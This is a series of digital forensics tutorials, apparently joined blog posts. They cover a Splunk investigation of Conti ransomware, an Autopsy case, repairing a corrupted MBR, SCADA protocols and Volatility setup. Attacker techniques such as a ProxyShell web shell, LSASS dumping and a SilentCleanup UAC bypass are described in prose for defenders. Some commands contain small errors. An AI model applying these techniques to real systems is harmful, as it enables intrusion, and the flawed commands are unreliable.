Today, we are going to look at a ransomware incident involving Conti malware and analyze it with Splunk to understand how an Exchange server was compromised and what actions the attackers performed once inside.

Splunk

Splunk is a platform that collects and analyzes large amounts of machine data, such as logs from servers, applications, and security tools. It turns this raw information into searchable events, graphs, and alerts that help teams understand what is happening across their systems in real time. Companies mainly use Splunk for monitoring, security operations, and troubleshooting issues. Digital forensics teams also use Splunk because it can quickly pull together evidence from many sources and show patterns that would take much longer to find manually.

Time Filter

Splunk’s default time range is the last 24 hours. However, when investigating incidents, especially ransomware, you often need a much wider view. Changing the filter to “All time” helps reveal older activity that may be connected to the attack. Many ransomware operations begin weeks or even months before the final encryption stage. Keep in mind that searching all logs can be heavy on large environments, but in our case this wider view is necessary.

Index

An index in Splunk is like a storage folder where logs of a particular type are placed. For example, Windows Event Logs may go into one index, firewall logs into another, and antivirus logs into a third. When you specify an index in your search, you tell Splunk exactly where to look. But since we are investigating a ransomware incident, we want to search through every available index:

index=*

This ensures that nothing is missed and all logs across the environment are visible to us.

Fields

Fields are pieces of information extracted from each log entry, such as usernames, IP addresses, timestamps, file paths, and event IDs. They make your searches much more precise, allowing you to filter events with expressions like src_ip=10.0.0.5 or user=Administrator. In our case, we want to focus on executable files and that is the “Image”. If you don’t see it in the left pane, click “More fields” and add it.

Once you’ve added it, click Image in the left pane to see the top 10 results. 

These results are definitely not enough to begin our analysis. We can expand the list using top: 

index=* | top limit=100 Image

Here the cmd.exe process running in the Administrator’s user folder looks very suspicious. This is unusual, so we should check it closely. We also see commands like net1, net, whoami, and rundll32.

In one of our articles, we learned that net1 works like net and can be used to avoid detection in PowerShell if the security rules only look for net.exe. The rundll32 command is often used to run DLL files and is commonly misused by attackers. It seems the attacker is using normal system tools to explore the system. It also might be that the hackers used rundll32 to stay in the system longer.

At this point, we can already say the attacker performed reconnaissance and could have used rundll32 for persistence or further execution.

Hashes

Next, let’s investigate the suspicious cmd.exe more closely. Its location alone is a red flag, but checking its hashes will confirm whether it is malicious.

index=* Image="C:\\Users\\Administrator\\Documents\\cmd.exe" | table Image, Hashes

Copy one of the hashes and search for it on VirusTotal.

The results confirm that this file belongs to a Conti ransomware sample. VirusTotal provides helpful behavior analysis and detection labels that support our findings. When investigating, give it a closer look to understand exactly what happened to your system.

Net1

Now let’s see what the attacker did using the net1 command:

index=* Image=*net1.exe

The logs show that a new user was added to the Remote Desktop Users local group. This allows the attacker to log in through RDP on that specific machine. Since this is a local group modification, it affects only that workstation.

In MITRE ATT&CK, this action falls under Persistence. The hackers made sure they could connect to the host even if other credentials were lost. Also, they may have wanted to log in via GUI to explore the system more comfortably.

TargetFilename

This field usually appears in file-related logs, especially Windows Security Logs, Sysmon events, or EDR data. It tells you the exact file path and file name that a process interacted with. This can include files being created, modified, deleted, or accessed. That means we can find files that malware interacted with. If you can’t find the TargetFilename field in the left pane, just add it.

Run:

index=* Image="C:\\Users\\Administrator\\Documents\\cmd.exe"

Then select TargetFilename

We see that the ransomware created many “readme” files with a ransom note. This is common behavior for ransomware to spread notes everywhere. Encrypting data is the last step in attacks like this. We need to figure out how the attacker got into the system and gained high privileges.

Before we do that, let’s see how the ransomware was propagated across the domain:

index=* TargetFileName=*cmd.exe

While unsecapp.exe is a legitimate Microsoft binary. When it appears, it usually means something triggered WMI activity, because Windows launches unsecapp.exe only when a program needs to receive asynchronous WMI callbacks. In our case the ransomware was spread using WMI and infected other hosts where the port was open. This is a very common approach. 

Sysmon Events

Sysmon Event ID 8 indicates a CreateRemoteThread event, meaning one process created a thread inside another. This is a strong sign of malicious activity because attackers use it for process injection, privilege escalation, or credential theft.

List these events:

index=* EventCode=8

Expanding the log reveals another executable interacting with lsass.exe. This is extremely suspicious because lsass.exe stores credentials. Attacking LSASS is a common step for harvesting passwords or hashes.

Another instance of unsecapp.exe being used. It’s not normal to see it accessing lsass.exe. Our best guess here would be that something used WMI, and that WMI activity triggered code running inside unsecapp.exe that ended up touching LSASS. The goal behind it could be to dump LSASS every now and then until the domain admin credentials are found. If the domain admins are not in the Protected Users group, their credentials are stored in the memory of the machine they access. If that machine is compromised, the whole domain is compromised as well.

Exchange Server Compromise

Exchange servers are a popular target for attackers. Over the years, they have suffered from multiple critical vulnerabilities. They also hold high privileges in the domain, making them valuable entry points. In this case, the hackers used the ProxyShell vulnerability chain. The exploit abused the mailbox export function to write a malicious .aspx file (a web shell) to any folder that Exchange can access. Instead of a harmless mailbox export, Exchange unknowingly writes a web shell directly into the FrontEnd web directory. From there, the attacker can execute system commands, upload tools, and create accounts with high privileges.

To find the malicious .aspx file in our logs we should query this:

index=* source=*sysmon* *aspx

We can clearly see that the web shell was placed where Exchange has web-accessible permissions. This webshell was the access point.

Timeline

The attack began when the intruder exploited the ProxyShell vulnerabilities on the Exchange server. By abusing the mailbox export feature, they forced Exchange to write a malicious .aspx web shell into a web-accessible directory. This web shell became their entry point and allowed them to run commands directly on the server with high privileges. After gaining access, the attacker carried out quiet reconnaissance using built-in tools such as cmd.exe, net1, whoami and rundll32. Using net1, the attacker added a new user to the Remote Desktop Users group to maintain persistence and guarantee a backup login method. The attacker then spread the ransomware across the network using WMI. The appearance of unsecapp.exe showed that WMI activity was being used to launch the malware on other hosts. Sysmon Event ID 8 logged remote thread creation where the system binary attempts to access lsass.exe. This suggests the attacker tried to dump credentials from memory. This activity points to a mix of WMI abuse and process injection aimed at obtaining higher privileges, especially domain-level credentials. 

Finally, once the attacker had moved laterally and prepared the environment, the ransomware (cmd.exe) encrypted systems and began creating ransom note files throughout these systems. This marked the last stage of the operation.

Summary

Ransomware is more than just a virus, it’s a carefully planned attack where attackers move through a network quietly before causing damage. In digital forensics we often face these attacks and investigating them means piecing together how it entered the system, what tools it used, which accounts it compromised, and how it spread. Logs, processes, file changes tell part of the story. By following these traces, we understand the attacker’s methods, see where defenses failed, and learn how to prevent future attacks. It’s like reconstructing a crime scene. Sometimes, we might be lucky enough to shut down their entire infrastructure before they can cause more damage.

If you need forensic assistance, you can hire our team to investigate and mitigate incidents. Additionally, we provide classes on digital forensics for those looking to expand their skills and understanding in this field. 

Welcome back, aspiring digital forensics investigators!

In the previous article we introduced Autopsy and noted its wide adoption by law enforcement, federal agencies and other investigative teams. Autopsy is a forensic platform built on The Sleuth Kit and maintained by commercial and community contributors, including the Department of Homeland Security. It packages many common forensic functions into one interface and automates many of the repetitive tasks you would otherwise perform manually.

Today, let’s focus on Autopsy and how we can investigate a simple case with the help of this app. We will skip the basics as we have previously covered it. 

Analysis

Artifacts and Evidence Handling

Start from the files you are given. In this walkthrough we received an E01 file, which is the EnCase evidence file format. An E01 is a forensic image container that stores a sector-by-sector copy of a drive together with case metadata, checksums and optional compression or segmentation. It is a common format in forensic workflows and preserves the information needed to verify later that an image has not been altered.

Before any analysis begins, confirm that your working copy matches the original by comparing hash values. Tools used to create forensic images, such as FTK Imager, normally generate a short text report in the same folder that lists the image metadata and hashes you can use for verification.

Autopsy also displays the same hash values once the image is loaded. To see that select the Data Source and view the Summary in the results pane to confirm checksums and metadata.

Enter all receipts and transfers into the chain of custody log. These records are essential if your findings must be presented in court.

Opening Images In Autopsy

Create a new case and add the data source. If you have multiple EnCase segments in the same directory, point Autopsy to the first file and it will usually pick up the remaining segments automatically. Let the ingest modules run as required for your investigative goals, and keep notes about which modules and keyword searches you used so your process is reproducible.

Identifying The Host

First let’s see the computer name we are looking at. Names and labelling conventions can differ from the actual system name recorded in the image. You can quickly find the host name listed under Operating System Information, next to the SYSTEM entry. 

Knowing the host name early helps orient the rest of your analysis and simplifies cross-referencing with network or domain logs.

Last Logins and User Activity

To understand who accessed the machine and when, we can review last login and account activity artifacts. Windows records many actions in different locations. These logs are extremely useful but also mean attackers sometimes attempt to use those logs to their own advantage. For instance, after a domain compromise an attacker can review all security logs and find machines that domain admins frequently visit. It doesn’t take much time to find out what your critical infrastructure is and where it is located with the help of such logs. 

In Autopsy, review Operating System, then User Accounts and sort by last accessed or last logon time to see recent activity. Below we see that Sivapriya was the last one to login.

A last logon alone does not prove culpability. Attackers may act during normal working hours to blend in, and one user’s credentials can be used by another actor. You need to use time correlation and additional artifacts before drawing conclusions.

Installed Applications

Review installed applications and files on the system. Attackers often leave tools such as Python, credential dumpers or reconnaissance utilities on disk. Some are portable and will be found in Temp, Public or user directories rather than in Program Files. Execution evidence can be recovered from Prefetch, NTUSER.DAT, UserAssist, scheduled tasks, event logs and other sources we will cover separately.

In this case we found a network reconnaissance tool, Look@LAN, which is commonly used for mapping local networks.

Signed and legitimate tools are sometimes abused because they follow expected patterns and can evade simple detection.

Network Information and IP Addresses

Finding the IP address assigned to the host is useful for reconstructing lateral movement and correlating events across machines and the domain controller. The domain controller logs validate domain logons and are essential for tracing where an attacker moved next. In the image you can find network assignments in registry hives: the SYSTEM hive contains TCP/IP interface parameters under CurrentControlSet\Services\Tcpip\Parameters\Interfaces and Parameters, and the SOFTWARE hive stores network profile signatures under Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed and \Unmanaged or NetworkList

If the host used DHCP, registry entries may show previously assigned IPs, but sometimes the attacker’s tools carry their own configuration files. In our investigation we inspected an application configuration file (irunin.ini) found in Program Files (x86) and recovered the IP and MAC address active when that tool was executed. 

The network adapter name and related entries are also recorded under SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards.

User Folders and Files

Examine the Users folder thoroughly. Attackers may intentionally store tools and scripts in other directories to create false flags, so check all profiles, temporary locations and shared folders. When you extract an artifact for analysis, hash it before and after processing to demonstrate integrity. In this case we located a PowerShell script that attempts privilege escalation.

The script checks if it is running as an administrator. If elevated it writes the output of whoami /all to %ALLUSERSPROFILE%\diag\exec_<id>.dat. If not elevated, it temporarily sets a value under HKCU\Environment\ProcExec with a PowerShell launch string, then triggers the built-in scheduled task \Microsoft\Windows\DiskCleanup\SilentCleanup via schtasks /run in the hope that the privileged task will pick up and execute the planted command, and finally removes the registry value. Errors are logged to a temporary diag file.

The goal was to validate a privilege escalation path by causing a higher-privilege process to run a payload and record the resulting elevated identity.

Credential Harvesting

We also found evidence of credential dumping tools in user directories. Mimikatz was present in Hasan’s folder, and Lazagne was also detected in Defender logs. These tools are commonly used to extract credentials that support lateral movement. The presence of python-3.9.1-amd64.exe in the same folder suggests the workstation could have been used to stage additional tools or scripts for propagation.

Remember that with sufficient privileges an attacker can place malicious files into other users’ directories, so initial attribution based only on file location is tentative.

Windows Defender and Detection History

If endpoint protection was active, its detection history can hold valuable context about what was observed and when. Windows Defender records detection entries can be found under C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\DetectionHistory*. 
Below we found another commonly used tool called LaZagne, which is available for both Linux and Windows and is used to extract credentials. Previously, we have covered the use of this tool a couple of times and you can refer to Powershell for Hackers – Basics to see how it works on Windows machines.

Correlate those entries with file timestamps, prefetch data and event logs to build a timeline of execution.

Zerologon

It was also mentioned that the attackers attempted the Zerologon exploit. Zerologon (CVE-2020-1472) is a critical vulnerability in the Netlogon protocol that can allow an unauthenticated attacker with network access to a domain controller to manipulate the Netlogon authentication process, potentially resetting a computer account password and enabling impersonation of the domain controller. Successful exploitation can lead to domain takeover. 

Using keyword searches across the drive we can find related files, logs and strings that mention zerologon to verify any claims. 

In the image above you can see NTUSER.DAT contains “Zerologon”. NTUSER.DAT is the per-user registry hive stored in each profile and is invaluable for forensics. It contains persistent traces such as Run and RunOnce entries, recently opened files and MRU lists, UserAssist, TypedURLs data, shells and a lot more. The presence of entries in a user’s NTUSER.DAT means that the user’s account environment recorded those actions. The entry appears in Sandhya’s NTUSER.DAT in this case, it suggests that the account participated in this activity or that artifacts were created while that profile was loaded.

Timeline

Pulling together the available artifacts suggests the following sequence. The first login on the workstation appears to have been by Sandhya, during which a Zerologon exploit was attempted but failed. After that, Hasan logged in and used tools to dump credentials, possibly to start moving laterally. Evidence of Mimikatz and a Python installer were found in Hasan’s directory. Finally, Sivapriya made the last recorded login on this workstation and a PowerShell script intended to escalate privileges was found in their directory. This script could have been used during lateral activity to escalate privileges on other hosts or if local admin rights were not assigned to Hasan, another attacker could have tried to escalate their privileges using Sivapriya’s account. At this stage it is not clear whether multiple accounts represent separate actors working together or a single hacker using different credentials. Resolving that requires cross-host correlation, domain controller logs and network telemetry.

Next Steps and Verification

This was a basic Autopsy workflow. For stronger attribution and a complete reconstruction we need to collect domain controller logs, firewall and proxy logs and any endpoint telemetry available. Specialised tools can be used for deeper analysis where appropriate.

Conclusion

As you can see, Autopsy is an extensible platform that can organize many routine forensic tasks, but it is only one part of a comprehensive investigation. Successful disk analysis depends on careful evidence handling and multiple data sources. It’s also important to confirm hashes and chain of custody before and after the analysis. When you combine solid on-disk analysis with domain and network logs, you can move from isolated observations to a defensible timeline and conclusions. 

If you need forensic assistance, we offer professional services to help investigate and mitigate incidents. Additionally, we provide classes on digital forensics for those looking to expand their skills and understanding in this field.

Welcome back, aspiring digital forensic analysts!

There are times when our work requires repairing damaged disks to perform a proper forensic analysis. Attackers use a range of techniques to cover their tracks. These can be corrupting the boot sector, overwriting metadata, physically damaging a drive, or exposing hardware to high heat. That’s what they did in Mr.Robot. 

Physical damage often destroys data beyond practical recovery, but a much more common tactic is logical sabotage. Attackers wipe partitions, corrupt the Master Boot Record, or otherwise tamper with the file system to slow or confuse investigators. Most real-world incidents that require disk-level recovery come from remote activity rather than physical tampering, unless the case involves an insider with physical access to servers or workstations.

Inexperienced administrators sometimes assume that data becomes irrecoverable after tampering, or that simply deleting files destroys their content and structure. That is not true. In this article we will examine how disks can be repaired and how deleted files can still be discovered and analysed.

In our previous article, PowerShell for Hackers: Mayhem Edition, we showed how an attacker can overwrite the MBR and render Windows unbootable. Today we will examine an image with a deliberately damaged boot sector. The machine that produced the image was used for data exfiltration. An insider opened an important PDF that contained a canary token and that token notified the owner that the document had been opened. It also showed the host that was used to access the file. Everything else is unknown and we will work through the evidence together.

Fixing the Drive

Corrupting the disk boot sector is straightforward in principle. You alter the data the system expects to find there so the OS cannot load the disk in the normal way. File formats, executables, archives, images and other files have internal headers and structures that tell software how to interpret their contents. Changing a file extension does not change those internal headers, so renaming alone is a poor method of concealment. Tools that inspect file headers and signatures will still identify the real file type. Users sometimes try to hide VeraCrypt containers by renaming them to appear as ordinary executables. Forensic tools and signature scanners will still flag such anomalies. Windows also leaves numerous artefacts that can indicate which files were opened. Among them are MRU lists, Jump Lists, Recent Items and other traces created by common applications, including simple editors.

Before we continue, let’s see what evidence we were given.

Above is a forensic image and below is a text file with metadata about that image. As a forensic analyst you should verify the integrity of the evidence by comparing the computed hash of the image with the hash recorded in the metadata file.

If the hash matches, work only on a duplicate and keep the original evidence sealed. Create a verified working copy for all further analysis.

Opening a disk image with a corrupted boot sector in Autopsy or FTK Imager will not succeed, as many of these tools expect a valid partition table and a readable boot sector. In such cases you will need to repair the image manually with a hex editor such as HxD so other tools can parse the structure.

The first 512 bytes of a disk image contain the MBR (Master Boot Record) on traditional MBR-partitioned media. In this image the final two bytes of that sector were modified. A valid MBR should end with the boot signature 0x55 0xAA. Those two bytes tell the firmware and many tools that the sector contains a valid boot record. Without the signature the image may be unreadable, so restoring the correct 0x55AA signature is the first step we need to do. 

When editing the MBR in a hex editor, do not delete bytes with backspace, you need to overwrite them. Place the cursor before the bytes to be changed and type the new hex values. The editor will replace the existing bytes without shifting the file.

Partitions

This image contains two partitions. In a hex view you can see the partition table entries that describe those partitions. In forensic viewers such as FTK Imager and Autopsy those partitions will be displayed graphically once the MBR and partition table are valid.

Both of them are in the black frame. The partition table entries also encode the partition size and starting sector in little-endian form, which requires byte-order interpretation and calculation to convert to human-readable sizes. For example, if you see an entry that corresponds to 63,401,984 sectors and each sector is 512 bytes, the size calculation is:

63,401,984 sectors × 512 bytes = 32,461,815,808 bytes, which is 32.46 GB (decimal) or ≈ 30.23 GiB

FTK Imager

Now let’s use FTK Imager to view the contents of our evidence file. In FTK Imager choose File, then Add Evidence Item, select Image File, and point the application to the verified copy of the image.

Once the MBR has been repaired and the image loaded, FTK Imager will display the partitions and expose their file systems. While Autopsy and other automated tools can handle a large portion of the analysis and save time, manual inspection gives you a deeper understanding of how Windows stores metadata and how to validate automated results. In this article we will show how to manually get the results and put the results together using Zimmer’s forensic utilities.

$MFT

Our next goal is to analyse the $MFT (Master File Table). The $MFT is a special system file on NTFS volumes that acts as an index for every file and directory on the file system. It contains records with metadata about filenames, timestamps, attributes, and, in many cases, pointers to file data. The $MFT is hidden in File Explorer, but it is always present on NTFS volumes (for example, C:$MFT)

Export the $MFT from the mounted or imaged volume. Right-click the $MFT entry in your forensic viewer and choose Export Files

To parse and extract readable output from the $MFT you can use MFTECmd.exe, a tool included in Eric Zimmerman’s EZTools collection. From a command shell run the extractor, for example:

PS> MFTECmd.exe -f ..\Evidence$MFT --csv ..\Evidence\ --csvf MFT.csv

The command above creates a CSV file you can use for keyword searches and timeline work. If needed, rename the exported files to make it easier to work with them in PowerShell.

When a CSV file is opened, you can use basic keyword search or pick an extension to see what files existed on the drive. 

Understanding and working with $MFT records is important. If a suspect deleted a file, the $MFT may still contain its last known filename, path, timestamps and sometimes even data pointers. That information lets investigators target data recovery and build a timeline of the suspect’s activity.

Suspicious Files

During inspection of the second partition we located several suspicious entries. Many were marked as deleted but can still be exported and examined.

The evidence shows the perpetrator had a utility named DiskWipe.exe, which suggests an attempt to remove traces. We also found references to sensitive corporate documents, which together indicates data exfiltration. At this stage we can confirm the machine was used to access sensitive files. If we decide to analyze further, we can use registry and disk data to see whether the wiping utility was actually executed and what user executed it. This is outside of our scope today.

$USNJRNL

The $USNJRNL (Update Sequence Number Journal) is another hidden NTFS system file that records changes to files and directories. It logs actions such as creation, modification and deletion before those actions are committed to disk. Because it records a history of file-system operations, $UsnJrnl ($J) can be invaluable in cases involving mass file deletion or tampering. 

To extract the journal, first go to root, then $Extend and double-click $UsnJrnl. You need a $J file.

You can then parse it with MFTECmd in the same way:

PS> MFTECmd.exe -f ..\Evidence$J --csv ..\Evidence\ --csvf J.csv

Since the second partition had the wiper, we can assume the perpetrator deleted files to cover traces. Let’s open the CSV in Timeline Explorer and set the Update Reason to FileDelete to view deleted files.

Among the deleted entries we found a folder named “data Exfil.” In many insider exfiltration cases the perpetrator will compress those folders before transfer, so we searched $MFT and $J for archive extensions. Multiple entries for files named “New Compressed (zipped) Folder.zip” were present.

The journal shows the zip was created and files were appended to it. The final operation was a rename (RenameOldName). Using the Parent Entry Number exposed in $J we can correlate entries and recover the original folder name.

As you can see, using the Parent Entry Number we found that the original folder name was “data Exfil” which was later deleted by the suspect.

Timeline

From the assembled artifacts we can conclude that the machine was used to access and exfiltrate sensitive material. We found Excel sheets, PDFs, text documents and zip archives with sensitive data. The insider created a folder called “data Exfil,” packed its contents into an archive, and then attempted to cover tracks using a wiper. DiskWipe.exe and the deleted file entries support our hypothesis. To confirm execution and attribute actions to a user, we can examine registry entries, prefetch files, Windows event logs, shellbags and user profile activity that may show us process execution and the account responsible for it. The corrupted MBR suggests the perpetrator also intentionally damaged the boot sector to complicate inspection.

Summary

Digital forensics is a fascinating field. It exposes how much information an operating system preserves about user actions and how those artifacts can be used to reconstruct events. Many Windows features were designed to improve reliability and user experience, but those same features give us useful forensic traces. Although automated tools can speed up analysis, skilled analysts must validate tool output by understanding the underlying data structures and by performing manual checks when necessary. As you gain experience with the $MFT, $UsnJrnl and low-level disk structures, you will become more effective at recovering evidence and validating your hypotheses. See you soon!

Welcome back, aspiring SCADA hackers!

Today we introduce some of the most popular SCADA / ICS protocols that you will encounter during forensic investigations, incident response and penetration tests. Mastering SCADA forensics is an important career step for anyone focused on industrial cybersecurity. Understanding protocol behavior, engineering workflows, and device artifacts is a skill that employers in utilities, manufacturing, oil & gas, and building automation actively seek. Skilled SCADA forensic analysts can extract evidence with protocol fluency to perform analysis and translate findings into recommendations.

In our coming course in November on SCADA Forensics we will be using realistic ICS network topologies and simulated attacks on devices like PLCs and RTUs. You will reconstruct attack chains, identify indicators of compromise (IOCs) and analyze artifacts across field devices, engineering workstations, and HMI systems. All of that will make your profile unique.

Let’s learn about some popular protocols in SCADA environments.

Modbus

Modbus was developed in 1979 by Modicon as a simple master/slave protocol for programmable logic controllers (PLCs). It became an open standard because it was simple, publicly documented and royalty-free. Now it exists in two main flavors such as serial (Modbus RTU) and Modbus TCP. You’ll find it everywhere in legacy industrial equipment, like PLC I/O, sensors, RTUs and in small-to-medium industrial installations where simplicity and interoperability matter. Because it’s simple and widespread, Modbus is a frequent target for security research and forensic analysis.

DNP3

DNP3 (Distributed Network Protocol) originated in the early 1990s and was developed to meet the tougher telemetry needs of electric utilities. It was later standardized by IEEE. Today DNP3 is strong in electric, water and other utility SCADA systems. It supports features for telemetry, like timestamped events, buffered event reporting and was designed for unreliable or noisy links, which makes it ideal for remote substations and field RTUs. Modern deployments often run DNP3 over IP and may use the secure encrypted variants.

IEC 60870 (especially IEC 60870-5-104)

IEC 60870 is a family of telecontrol standards created for electric power system control and teleprotection. The 60870-5-104 profile (commonly called IEC 104) maps those telecontrol services onto TCP/IP. It is widely used in Europe and regions following IEC standards, so expect it in European grids and many vendor products that target telecom-grade reliability.

Malware can “speak” SCADA/ICS protocols too. For instance, Industroyer (also known as CrashOverride) that was used in the second major cyberattack on Ukraine’s power grid on December 17, 2016, by the Russian-linked Sandworm group had built-in support for multiple industrial control protocols like IEC 61850, IEC 104, OLE for Process Control Data Access (OPC DA), and DNP3. Essentially it used protocol languages to directly manipulate substations, circuit breakers, and other grid hardware without needing deeper system access.

EtherNet/IP (EIP / ETHERNET_IP)

EtherNet/IP adapts the Common Industrial Protocol (CIP) to standard Ethernet. Developed in the 1990s and standardized through ODVA, it brought CIP services to TCP/UDP over Ethernet. Now it’s widespread in manufacturing and process automation, especially in North America. It supports configuration and file transfers over TCP and I/O, cyclic data over UDP, using standard ports (TCP 44818). You’ll see it on plant-floor Ethernet networks connecting PLCs, I/O modules, HMIs and drives. 

S7 (Siemens S7 / S7comm)

S7comm (Step 7 communications) is Siemens’ proprietary protocol family used for the SIMATIC S7 PLC series since the 1990s. It is tightly associated with Siemens PLCs and the Step7 / TIA engineering ecosystem. Today it is extremely common where Siemens PLCs are deployed. Mainly in manufacturing, process control and utilities. S7 traffic often includes programs for device diagnostics, so that makes it high-value for both legitimate engineering and hackers. S7-based communications can run over Industrial Ethernet or other fieldbuses.

BACnet

BACnet (Building Automation and Control Network) was developed through ASHRAE and became ANSI/ASHRAE Standard 135 in the 1990s. It’s the open standard for building automation. Now BACnet is used in building management systems, such as HVAC, lighting, access control, fire systems and other building services. You’ll see BACnet on wired (BACnet/IP and BACnet MSTP) and wireless links inside commercial buildings, and it’s a key protocol to know when investigating building-level automation incidents.

HART-IP

HART started as a hybrid analog/digital field instrument protocol (HART) and later evolved to include HART-IP for TCP/IP-based access to HART device data. The FieldComm Group maintains HART standards. The protocol brings process instrumentation like valves, flow meters, transmitters onto IP networks so instrument diagnostics and configuration can be accessed from enterprise or control networks. It’s common in process industries, like oil & gas, chemical and petrochemical.

EtherCAT

EtherCAT (Ethernet for Control Automation Technology) is a real-time Ethernet protocol standardized under IEC 61158 and maintained by the EtherCAT Technology Group. It introduced “processing on the fly” for very low latency. It is frequent in motion control, robotics, and high-speed automation where deterministic, very low-latency communication is required. You’ll find it in machine tools, robotics cells and applications that require precise synchronization.

POWERLINK (Ethernet POWERLINK / EPL)

Ethernet POWERLINK emerged in the early 2000s as an open real-time Ethernet profile for deterministic communication. It’s managed historically by the EPSG and adopted by several vendors. POWERLINK provides deterministic cycles and tight synchronization for motion and automation tasks. Can be used in robotics, drives, and motion-critical machine control. It’s one of the real-time Ethernet families alongside EtherCAT, PROFINET-IRT and others.

Summary

We hope you found this introduction both clear and practical. SCADA protocols are the backbone of industrial operations and each one carries the fingerprints of how control systems communicate, fail, and recover. Understanding these protocols is important to carry out investigations. Interpreting Modbus commands, DNP3 events, or S7 traffic can help you retrace the steps of an attacker or engineer precisely.

In the upcoming SCADA Forensics course, you’ll build on this foundation and analyze artifacts across field devices, engineering workstations, and HMI systems. These skills are applicable in defensive operations, threat hunting, industrial digital forensics and industrial incident response. You will know how to explain what happened and how to prevent it. In a field where reliability and safety are everything, that kind of expertise can generate a lot of income.

See you there!

Learn more: https://hackersarise.thinkific.com/courses/scada-forensics

The post SCADA (ICS) Hacking and Security: SCADA Protocols and Their Purpose first appeared on Hackers Arise.

Welcome back, aspiring DFIR investigators!

If you’re diving into digital forensics, memory analysis is one of the most exciting and useful skills you can pick up. Essentially, you take a snapshot of what’s happening inside a computer’s brain right at that moment and analyze it. Unlike checking files on a hard drive, which shows what was saved before, memory tells you about live actions. Things like running programs or hidden threats that might disappear when the machine shuts down. This makes it super helpful for solving cyber incidents, especially when bad guys try to cover their tracks.

In this guide, we’re starting with the basics of memory analysis using a tool called Volatility. We’ll cover why it’s so important, how to get started, and some key commands to make you feel confident. This is part one, where we focus on the foundations and give instructions. Stick around for part two, where we’ll keep exploring Volatility and dive into network details, registry keys, files, and scans like malfind and Yara rules. Plus, if you make it through part two, there are some bonuses waiting to help you extract even more insights quickly.

Memory Forensics

Memory analysis captures stuff that disk forensics might miss. For example, after a cyber attack, malware could delete its own files or run without saving anything to the disk at all. That leaves you with nothing to find on the hard drive. But in memory, you can spot remnants like active connections or secret codes. Even law enforcement grabs memory dumps from suspects’ computers before powering them off. Once it’s off, the RAM clears out, and booting back up might be tricky if the hacker sets traps. Hackers often use tricks like USB drives that trigger wipes of sensitive data on shutdown, cleaning everything in seconds so authorities find nothing. We’re not diving into those tricks here, but they show why memory comes first in many investigations.

Lucky for us, Volatility makes working with these memory captures straightforward. It started evolving, and in 2019, Volatility 3 arrived with better syntax and easier to remember commands. We’ll look at both Volatility 2 and 3, sharing commands to get you comfortable. These should cover what most analysts need.

Memory Gems

Below is some valuable data you can find in RAM for investigations:

1. Network connections

2. File handles and open files

3. Open registry keys

4. Running processes on the system

5. Loaded modules

6. Loaded device drivers

7. Command history and console sessions

8. Kernel data structures

9. User and credential information

10. Malware artifacts

11. System configuration

12. Process memory regions

Keep in mind, sometimes key data like encryption keys hides in memory. Memory forensics can pull this out, which might be a game-changer for a case.

Approach to Memory Forensics

In this section we will describe a structured method for conducting memory forensics, designed to support investigations of data in memory. It is based on the six-step process from SANS for analyzing memory.

Identifying and Checking Processes

Start by listing all processes that are currently running. Harmful programs can pretend to be normal ones, often using names that are very similar to trick people. To handle this:

1. List every active process.

2. Find out where each one comes from in the operating system.

3. Compare them to lists of known safe processes.

4. Note any differences or odd names that stand out.

Examining Process Details

After spotting processes that might be problematic, look closely at the related dynamic link libraries (DLLs) and resources they use. Bad software can hide by misusing DLLs. Key steps include:

1. Review the DLLs connected to the questionable process.

2. Look for any that are not approved or seem harmful.

3. Check for evidence of DLLs being inserted or taken over improperly.

Reviewing Network Connections

A lot of malware needs to connect to the internet, such as to contact control servers or send out stolen information. To find these activities:

1. Check the open and closed network links stored in memory.

2. Record any outside IP addresses and related web domains.

3. Figure out what the connection is for and why it’s happening.

4. Confirm if the process is genuine.

5. See if it usually needs network access.

6. Track it back to the process that started it.

7. Judge if its actions make sense.

Finding Code Injection

Skilled attackers may use methods like replacing a process’s code or working in hidden memory areas. To detect this:

1. Apply tools for memory analysis to spot unusual patterns or signs of these tactics.

2. Point out processes that use strange memory locations or act in unexpected ways.

Detecting Rootkits

Attackers often aim for long-term access and hiding. Rootkits bury themselves deep in the system, giving high-level control while staying out of sight. To address them:

1. Search for indicators of rootkit presence or major changes to the OS.

2. Spot any processes or drivers with extra privileges or hidden traits.

Isolating Suspicious Items

Once suspicious processes, drivers, or files are identified, pull them out for further study. This means:

1. Extract the questionable parts from memory.

2. Save them safely for detailed review with forensic software.

The Volatility Framework

A widely recommended option for memory forensics is Volatility. This is a prominent open-source framework used in the field. Its main component is a Python script called Volatility, which relies on various plugins to carefully analyze memory dumps. Since it is built on Python, it can run on any system that supports Python.

Volatility’s modules, also known as plugins, are additional features that expand the framework’s capabilities. They help pull out particular details or carry out targeted examinations on memory files.

Frequently Used Volatility Modules

Here are some modules that are often used:

pslist: Shows the active processes.

cmdline: Reveals the command-line parameters for processes.

netscan: Checks for network links and available ports.

malfind: Looks for possible harmful code added to processes.

handles: Examines open resources.

svcscan: Displays services in Windows.

dlllist: Lists the dynamic-link libraries loaded in a process.

hivelist: Identifies registry hives stored in memory.

You can find documentation on Volatility here:

Volatility v2: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference

Volatility v3: https://volatility3.readthedocs.io/en/latest/index.html

Installation

Installing Volatility 3 is quite easy and will require a separate virtual environment to keep things organized. Create it first before proceeding with the rest:

bash$ > python3 -m venv ~/venvs/vol3

bash$ > source ~/venvs/vol3

Now you are ready to install it:

bash$ > pip install volatility3

Since we are going to cover Yara rules in Part 2, we will need to install some dependencies:

bash$ > sudo apt install -y build-essential pkg-config libtool automake libpcre3-dev libjansson-dev libssl-dev libyara-dev python3-dev

bash$ > pip install yara-python pycryptodome

Yara rules are important and they help you automate half the analysis. There are hundreds of these rules available on Github, so you can download and use them each time you analyze the dump. While these rules can find a lot of things, there is always a chance that malware can fly under the radar, as attackers change tactics and rewrite payloads. 

Now we are ready to work with Volatility 3.

Plugins

Volatility comes with multiple plugins. To list all the available plugins do this:

bash$ > vol -h

Each of these plugins has a separate help menu with a description of what it does.

Memory Analysis Cheat Sheet

Image Information

Imagine you’re an analyst investigating a hacked computer. You start with image information because it tells you basics like the OS version and architecture. This helps Volatility pick the right settings to read the memory dump correctly. Without it, your analysis could go wrong. For example, if a company got hit by ransomware, knowing the exact Windows version from the dump lets you spot if the malware targeted a specific weakness.

